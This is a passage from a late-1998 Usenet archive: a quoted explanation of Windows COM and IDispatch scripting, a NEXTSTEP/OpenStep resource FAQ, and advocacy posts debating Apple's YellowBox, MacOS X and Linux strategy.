>Object Browser in any of the office apps. That Tools | References, really
>means go and get the type library from this thingy and use it in my script.
>So, for example, I can go and make a COM object, make a type library for
it,
>and any Type library aware scripting language on Windows can use it,
safely.
>This is kinda nice where the scripting language author might find providing
>direct DLL support to be a pain, or if the scripting language users might
be
>novices (VBA programmers). It also means that calls can be checked at
>compile time and life is ok.
>
>But what if the language is strictly interpreted? Like older versions of
>VB? Then in that case, you can use a set of facilities called "IDispatch".
>IDispatch basically says that here is a collection of COM objects whose job
>it is to pass parameters and types and ids off to a client. So you could
>tell IDispatch to look up the id for a function named "foo", then call it
>along with three parameters...
>
>To get back to the point, a scripting language under Windows uses certain
>COM interfaces (IDispatch, ITypeLibInfo), to work with other COM objects in
>a generic abstract way. Under Windows, you can do something like have a VB
>Application using Active X controls written in Delphi to talk to a Excel or
>123. Perl just added or is adding COM support, so you could theoretically
>parse something in perl, have it drive your VB application using Active X
>controls written in Delphi to talk to Excel, or Word. It's sort of a glue
>that does what CORBA intends but just is not used as much on Unix.
>
>To confuse matters, I'll just mention that things like drag and drop across
>apps, that nifty toolbar trick you get when you click on a spreadsheet
>inside of a Word document, or even the mundane active X controls, are like
>IDispatch, interfaces implemented by various objects within the system.
For
>example, if I have a DLL that implements something like a standard 10-20
>interfaces, I get myself an Active X control. Similarly, If I have an EXE
>or DLL that implements a different (but related) set of interfaces, I get
>the infamous OLE In Place Editable Thingy. Or, if, I'm really sick, I can
>go and implement an ActiveX Container or an OLE Container, or even sicker,
>both, and have 50 interfaces, and my app can then be visually managed or
>visually manage anything in the Windows universe.
>
>But it turns out that even the simplest app can be exposed as a good old
>library, and can use COM and thus be used by any decent environment. If,
>for example, I build a COM library, most tools - Visual C++, Borland
Delphi,
>etc, will do all the dirty work of dotting the i's and crossing the t's to
>make my library work simply - CORBA people are still making IDL files, I
>believe. Yuck.
>
>Of course, COM was part of MS's seemingly abandoned CAIRO dream.
Everything
>under CAIRO was going to be COM objects that could be swapped in or out by
>third parties - a sort of a modular object oriented Windows. But, it
turned
>out that Cairo never really arrived - although Windows 95 / NT 4.0 have a
>lot of COM stuff in them - it is rumoured that even the integrated IE is a
>COM object that could theoretically be replaced by Netscape, if Netscape
>implemented all of IE's COM interfaces. Then you could be browing your
>Windows 98 active desktop web view folders with communicator...
>
>imagine that.
>
>For a good example of how a scripting engine might call an app, check out
>COMEXCEL on the MS site. That's a simple c++ application that calls excel,
>creates a worksheet, and makes a chart, in about 50 or so lines. (Which
is
>pretty amazing for c++). Even more amazing is that it is a command line
>app.
>
>Lately, MS has done some stuff to try and fix the disaster called the
>COMMAND interpreter. They are trying to avoid shipping a real scripting
>language with Windows as it would kill off an already killed off tools
>market - and avoid yet another DOJ lawsuit. They got this thing called
>Windows scipting host, which lets a developer make a universally debuggable
>scripting language and also provides easy ways to get at things like
desktop
>icons, etc.
>
>To summarize, what does COM (and consequently, whatever scripting language
>you want), buy you.
>
>a. language neutral. Any programming language can be used to access
>pretty much any Windows application (they all support COM). Similarly,
with
>COM acting as a gateway, programming languages can be completely different
>and talk to each other. There's no better proof than older versions of
>Office. Each element in Office suite had its own version of VBA (talk
about
>bloat!), yet, they all worked together pretty well because they used COM as
>that gateway. Just as a competent Unix sheller will hack together a script
>to do something, a VBA'er (most popular choice), might hack together a
bunch
>of apps to do something. Turns out that database access is also through
COM
>these days... Simplifies a great deal.
>
>b. theoretically easy remoting. Because interfaces are abstract from
the
>old DLL file method, your app could conceivably be using objects deployed
on
>a bunch of different computers.
>
>c. Replacability. Yes, it is true. You can theoretically replace a
bunch
>of elements on the Windows desktop with your own COM implementation of the
>same. For the less ambitious, there is always the ability to add your own
>folder types, add your own panels, etc, to the Windows desktop, just by
>making your own little COM servers for different situations and by binding
>them to a file type - like those little customized pop up menus can do a
>hell of a lot more than simply display a menu...
>
>
>>--
>> Herding Humans ~ Herding Cats
>>
>>Neither will do a thing unless they really want to, or |||
>>is coerced to the point where it will scratch your eyes out / | \
>>as soon as your grip slips.
>>
>> In search of sane PPP docs? Try http://penguin.lvcm.com
>
>
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <6039914130021@digifix.com>
Date: 27 Dec 1998 04:45:38 GMT
Organization: Digital Fix Development
Message-ID: <14228914734832@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 27 Dec 1998 20:25:44 GMT
Organization: Primenet (602)416-7000
Message-ID: <766548$msg$2@nnrp02.primenet.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com>
<36868276.0@stan.astra.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
: "I think YB/Linux is a great idea"
: however sadly it wouldn't achieve very much, other than perhaps
: constituting some sort of rather heart-warmingly seasonal 'Net hug.
<hug>
: I want to move past that stage and find some way that Apple could make
: money from this so that there's a chance it could become a reality. So
: how about you coming up with a constructive suggestion?
I know this isn't addressed to me, but it's been awhile since I've
suggested a plan.
First off, the most obvious move is for Apple to continue what they have
been doing with MkLinux:
http://www.mklinux.apple.com/
At this point in time Linux does not represent a real alternative to the
bulk of Apple's users. Supporting Linux on Apple hardware appeals to
technical users, and gives them an outlet which would otherwise require
the purchase of competing hardware.
I expect Linux to be broadly speaking "hard to use" for the next few
years. I use it, but I do UNIX programming at my day job, so what do you
expect? As time progresses Linux may appeal to sucessively less techical
layers of users from other platforms. Nonetheless, I think may be a limit
to what simplicity Linux can achive. The whole Linux process is based on
choice, flexiblity, and decentralized development. Linux may find its
way, like some unthinking slime-mold, to an open flexible system which is
also simple to use. But the jury is out, it's an experiment in progress.
In the mean time, I think Linux and MacOS X are more complementary than
competitive. I mumbled some words on the subject a few months back
http://www.dejanews.com/getdoc.xp?AN=380196140
and the idea that MacOS X could be the "no worries" OS while Linux
continues as the "maximum flexiblity" OS still makes sense to me.
Finally I come around to the "bitter medicine" part of my thinking. That
is that Apple doesn't really need MacOS X Server anymore. It won't make
enough money. Their market is centered around MacOS X "Consumer". It
just confuses their message. Better to forget it. YB on Linux probably
falls in the same catagory. Forget it. Sell Macs running plain old Linux
to people who want to run Apache (or maybe even Oracle), and sell the
consumer MacOX X to everybody else.
That might even be what's happening.
John
From: nws@rollingthunder.demon.co.uk (Anthony Ord)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Sun, 27 Dec 1998 20:27:40 GMT
Message-ID: <36979103.26104397@news.demon.co.uk>
References: <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <368f00ab.4561618@news.demon.co.uk> <ch3-2612980852370001@1cust12.tnt2.redmond.wa.da.uu.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Sat, 26 Dec 1998 08:52:37 -0800, ch3@earthlink.net.rem.ove.this (c
hand) wrote:
>
>>Apple produce $20 worth of software and sell a distro wholesale for
>>$50. They get constant innovation without havig to spend a dime. Is
>>that a good business case?
>>
>
>No, it's terrible. Just another example of the "change to our
>way of doing things, because we rule" mindset.
Err. Who changes and who rules? 'Fraid I didn't understand this reply.
Regards
Anthony
--
===============================================================
|'All kids love log!' |
| Ren & Stimpy |
===============================================================
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 12:08:35 +1100
Organization: OzEmail Ltd.
Message-ID: <766lp1$bns$1@reader1.reader.news.ozemail.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <75upqa$47f$1@nnrp03.primenet.com> <75vd7j$25r$1@nnrp1.dejanews.com> <760kof$dlk$1@nnrp03.primenet.com> <ch3-2612980901450001@1cust12.tnt2.redmond.wa.da.uu.net> <368545B6.63E9976C@nstar.net> <ch3-2712981049520001@1cust11.tnt5.redmond.wa.da.uu.net>
c hand wrote in message ...
>imagine Apple making a presentation to a major corp. pushing a YellowBox
solution:
>
>Choice A: WinNT + YB
> --- crappy Win UI, crappy Win stability, etc.
>Choice B: OSX/S + YB
> --- Mac UI, UNIX
>Choice C: Linux + YB
> --- Mac UI(that's what you're asking for right?), UNIX
>
>Now, when the IT Manager asks you what's the difference between B & C,
>what are you(APPLE) going to say? OSX/S is better, but Linux is free?
>There's a clear differentation between Win* and OSX/S. Linux with the
>UI and YB, steps closer to the future OSX/S market with those additions.
That's a good question. Firstly, I think the selling points are.
* C: Linux + YB
- runs on Intel (& other platforms?)
- supports older machines and ISA
- must be a Apple supported Linux.
* B: OSX/S + YB
- Is made for and optimised for Apple designed hardware
- is very easy to configure and use
- Hardware has ergonomic design and aesthetic coolness
Apple makes roughly the same $$$ from B or C.
There may also be a D: Linux + YB - no MacGUI, no Carbon. Reduced
application
support with a corresponding lower price tag (ala today's Quicktime
standard).
Greg
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 28 Dec 98 00:27:45 GMT
Organization: P & L Systems
Message-ID: <3686d081.0@stan.astra.co.uk>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <3680e299.0@stan.astra.co.uk>
<75u94d$1rg$1@52-a-usw.rb1.blv.nwnexus.net> <36867be6.0@stan.astra.co.uk>
<7667i3$t8c$1@52-a-usw.rb1.blv.nwnexus.net>
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Cc: tzs@halcyon.com
In <7667i3$t8c$1@52-a-usw.rb1.blv.nwnexus.net> Tim Smith wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> >> The business case is that it lets Apple get out of the OS market,
> >>
> >Yes, I understand that -- what I don't see is where it generates
*revenue*.
>
> Avoiding spending money on things you don't need is usually considered to
be
> a good thing for a business to do.
>
Yes, I understand that too -- that's why I'm trying to find out why Apple
should spend money porting YB to Linux.
What I didn't understand, however (I'm afraid, despite my assertion), was
your question, and your original proposal -- I answered something different
based largely on the context of a parallel thread.
> >If Apple is "allowed" to charge for YB?Linux runtimes then the equation
> >changes substantially -- we can then ask what price would the market
stand.
> >Would, say, $20 per seat be OK?
>
> What does any of this have to do with YB?
>
I thought that was the context -- cf above.
> What I am proposing is that Apple
> essentially update A/UX to use LinuxPPC as the kernel, and MacOS 8.5
running
> as a process on Linux as the user interface, and that this becomes the
> configuration that Macs ship with. MacOS as a stand-alone OS dies off.
>
Umm, this is close to what they're intending to do with MacOS X anyway,
except that they'll be using a Mach kernel (which if I understand rightly has
a number of advantages over other kernels in supporting the sort of messaging
that speeds up YB) and BSD Unix.
> Future OS work at Apple would consist of making MacOS work better in that
> environment. Multitasking and memory protection could initially be
implemented
> by allowing multiple MacOS processes to run at the same time.
>
Again, this is close to what's underway, except that currently there will be
only one MacOS process, known as BlueBox. The new Carbon API is being
developed to allow existing MacOS apps to be ported to the new OS (MacOS X --
which supports multitasking, multithreading and memory protection etc itself)
to take advantage of these "new" features.
> >Umm, presumably this should be "but with Linux *or the free BSDs*, they
don't
> >have to worry about that", in which case I'd be interested (seriously --
this
> >isn't a barbed aside) to know your reasons for promoting Linux over any of
> >the free BSDs.
>
> FreeBSD does not run on PPC. OpenBSD has some PPC support, but not much
for
> Mac hardware. NetBSD has some Mac PPC support, but it is not developing
> anywhere near as fast as LinuxPPC. E.g., LinuxPPC works on the iMac now.
> I don't think NetBSD does.
>
OK, given that you don't seem to know much about Apple's plans (said in a
neutral way -- although I think you should do a little background research
here to see what Apple is actually up to(*)) I should have targetted my
question rather differently. Why promote Linux over what Apple already has
-- namely the Mach kernel and BSD, particularly as I gather Apple is feeding
stuff back into *I think* the OpenBSD project already.
Best wishes,
mmalc.
(*) cf http://developer.apple.com/macosx/
From: suvidya@tendlrow.tta.ten.mirror_after_at (Arun Gupta)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 28 Dec 1998 00:42:45 GMT
Organization: AT&T WorldNet Services
Message-ID: <suvidya-2712981944340001@159.newark-03-04rs.nj.dial-access.att.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net> <765ovq$cp0$1@nnrp03.primenet.com>
In article <765ovq$cp0$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Arun Gupta <suvidya@tendlrow.tta.ten.mirror_after_at> wrote:
>
> : "We are Linux. Resistance is futile. You will be assimilated."
>
> : I find it amazing that free-market advocates are moaning that Apple
> : chooses to compete. I thought this is the cardinal virtue of the
> : free-market.
>
> : I think many Linux "advocates" are merely Microsoft-wannabees.
>
> When I first read your post, I didn't get it at all. How could Linux be
> like Microsoft? Linux has no center - it instead has diversity. The two
> are totally different. There is no question of following the Linux plan
> because there is no single plan. There are too many. Chose one, and
> follow it if you want. Or make your own.
The point is that competition is good (at least in theory ).
Linux brings a welcome whiff of competition to an otherwise
seemingly moribund OS scene.
But that does not mean that Apple, Be, etc., should fold their
tents, or be assimilated into Linux. It means that they should
continue to compete, with renewed hope -- the world will accomodate
choices, it doesn't have to be only Microsoft.
The post that I was objecting to said that Apple chooses to compete
with Linux and is therefore doomed or has lost its chance for
resurgence -- i.e., resistance is futile, etc.
-arun gupta
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody Fact Sheet
Date: 28 Dec 98 00:40:29 GMT
Organization: P & L Systems
Message-ID: <3686d37d.0@stan.astra.co.uk>
References: <19981225074103.01151.00001475@ng-ca1.aol.com>
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Cc: merefbast@aol.com
In <19981225074103.01151.00001475@ng-ca1.aol.com> MerefBast wrote:
> RHAPSODY FACT SHEET
[...]
> Release Date: Early adaptor's version scheduled for January 1998; full
> commercial release scheduled for Spring 1998
>
Hmm, I guess we are living in the past, then.
> Current Version: DR 3
>
Fact?! I think not.
> User Interface (graphic): unknown
>
Umm, better known than some of the other facts you present.
> Official Web Sites: none listed
>
http://developer.apple.com/macosx/
> FAQs (Frequently Asked Questions): none listed
>
http://developer.apple.com/macosx/
http://enterprise.apple.com/NeXTanswers/
> User Group Web Sites
>
> <a href="http://www.lamg.org/">Los Angeles Macintosh Group</a>
>
BANG: http://www.bang.org
I'm sure others.
> Other Related Web Sites
>
http://www.stepwise.com/
mmalc.
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Mon, 28 Dec 1998 11:42:51 +1100
Organization: OzEmail Ltd.
Message-ID: <766k8q$2bi$1@reader1.reader.news.ozemail.net>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <76172n$jqj$1@reader1.reader.news.ozemail.net> <ch3-2612980856320001@1cust12.tnt2.redmond.wa.da.uu.net>
c hand wrote in message ...
>>>Linux users? I doubt it.
>>
>>I don't think paying for the ability to run commercial applications is a
>>big problem.
>
>Then Apple would be best served by *selling* OS X/S.
Exactly. As I said - _paying_ for the ability to run commercial apps.
I also don't think many users would pay for YB support (yet), but paying
either for Carbon &/or for a MacGUI is very possible.
>>I also think that as YB becomes more prevalent the GNUstep project would
>>get a lot of resources, and would soon be completed.
>
>This will happen regardless of a YB/Linux.
But if YB becomes available on Linux, its marketshare increases, so more
YB programs become available. More available programs will mean more people
interested in GNUstep, more resources, and sooner completion IMO.
>>Apart from my previous answer, in some ways that's not the point. If
no-one
>>buys it then how can Apple lose market share.
>
>If no one buys it, it was a huge waste of resources on a phantom market.
Totally. But this is related to my earlier comment. Some people say Apple
selling YB (or some Mac-Quicktime/YB/Carbon/GUI add on) will cut into
apple's
sales. I agree some mac hardware buyers will buy Linux+Mac stuff instead.
This is TOTAL speculation on my part, but I think there is a likely path to
success...
Apple releases on Linux, making a small amount of money (ala Quicktime) and
increases it's installed base. Developers will find this platform more
attractive, in turn
increasing the amount of Mac applications. This also increases the Mac
legitimacy
as the "premier" platform for running these apps.
The people who didn't buy a Mac because Linux+Mac was preferable are more
than
made up for by new users coming because of renewed application support.
Related to
this, if Apple currently is barely keeping up with demand then there is room
to release
a product that slightly reduces that demand (while still making Apple some
money and preparing them for the future!).
So - would Apple remain the "premier" platform for running apps? What effect
will
new improved Linuxes & GNUstep have on Apple? How much should Apple charge
for such an add-on?
Just thoughts
Greg
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: 28 Dec 98 00:02:55 GMT
Organization: P & L Systems
Message-ID: <3686caaf.0@stan.astra.co.uk>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net>
<355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net>
<slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net>
<ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <368f00ab.4561618@news.demon.co.uk>
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Cc: nws@rollingthunder.demon.co.uk
In <368f00ab.4561618@news.demon.co.uk> Anthony Ord wrote:
> Imagine Apple want to do a distribution, and just ship their bits onto
> of a normal Red Hat (say) CD. They pay RH $5 for each CD to get them
> "on board". They produce the distro to set up your machine to boot
> straight into finder
>
Umm, this is an issue I brought up elsewhere: simply providing the YB
runtimes does not give you a Mac-like GUI. YB apps on MacOS X look like
MacOS because Apple has engineered the whole OS that way. On Windows YB apps
look like Windows apps. The only way that you'd get a Finder-style
environment on Linux would be if Apple wrote a whole X-windows window manager
to do the look and feel for you -- and then of course most other apps
wouldn't use the same widget set and so not conform to same the
look-and-feel--and-most-importantly-behaviour.
If Apple doesn't do this it leaves the question "What look and feel should YB
apps adopt?"
> and of course use appletalk to share your machines resources.
>
Umm, more likely NetInfo...
.. that then raises the issues of interoperability between NetInfo and NIS.
NetInfo is a product worth selling just by itself (indeed Xedoc used to do
just that in the NEXTSTEP days), but how many Linux folks would use it
instead of NIS (I ask this seriously because we've already seen Michael Peck
stating that one of his major gripes about NEXTSTEP was its use of NetInfo).
> Apple produce $20 worth of software and sell a distro wholesale for
> $50. They get constant innovation without havig to spend a dime. Is
> that a good business case?
>
Maybe, maybe not. It depends on what answers you give to the preceding
questions. And at what level you're expecting innovation. I'm afriad I've
lost track, so I'm not sure if you're referring to the OS layer or in YB?
Best wishes,
mmalc.
